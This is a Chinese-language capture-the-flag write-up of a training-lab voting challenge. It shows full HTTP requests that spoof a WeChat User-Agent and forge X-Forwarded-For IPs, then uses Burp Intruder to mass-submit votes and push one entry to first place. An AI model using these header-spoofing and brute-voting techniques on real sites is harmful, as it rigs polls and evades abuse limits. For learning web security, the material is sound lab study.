看了小迪安全,做了mozhe的投票常见漏洞分析溯源,做个题解。
以下是题目界面。
看提示。
User-Agent通俗说客户浏览器名称。
举个例子。
微信在 Android 下的 User Agent
Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365 MicroMessenger/6.0 NetType/WIFI
bilibili在Firefox下的 User Agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
X-Forwarded-for(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
进入题目页面
投个票试试
请用微信试试
拉到微信里访问,在微信里投票成功。
抓包查看
POST /wx_vote_do.php HTTP/1.1
Host: 124.70.71.251:42367
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://124.70.71.251:42367
Connection: close
Referer: http://124.70.71.251:42367/wx_vote.php
id=6
看到User-Agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
再回想前面关于微信在 Android 下的 User Agent,是不是将User Agent更改成微信在Android 下的User Agent就可以投票了?
试一试。
发送。
刚刚在微信已经投过一次,所以是成功了。
根据提示我们想到这是对IP进行验证的投票方式。
所以用X-Forwarder-for进行IP更改
如
POST /wx_vote_do.php HTTP/1.1
Host: 124.70.71.251:42367
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365 MicroMessenger/6.0 NetType/WIFI Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
X-Forwarded-for: 10.10.10.10
Content-Length: 4
Origin: http://124.70.71.251:42367
Connection: close
Referer: http://124.70.71.251:42367/wx_vote.php
id=6
发送成功,但是还有个问题。
题目要求是投到第一名,但是现在每个IP只能投票一次,怎么办呢?
很容易就想到用burpsuite的Intruder。
先把攻击目标确定。
再设定变量,攻击模式选择自定义的Cluster bomb。
在payloads中设置变量。
开始。
看到状态码是200就松了一口气,成功了。
回到题目页面刷新。
获得第一名了。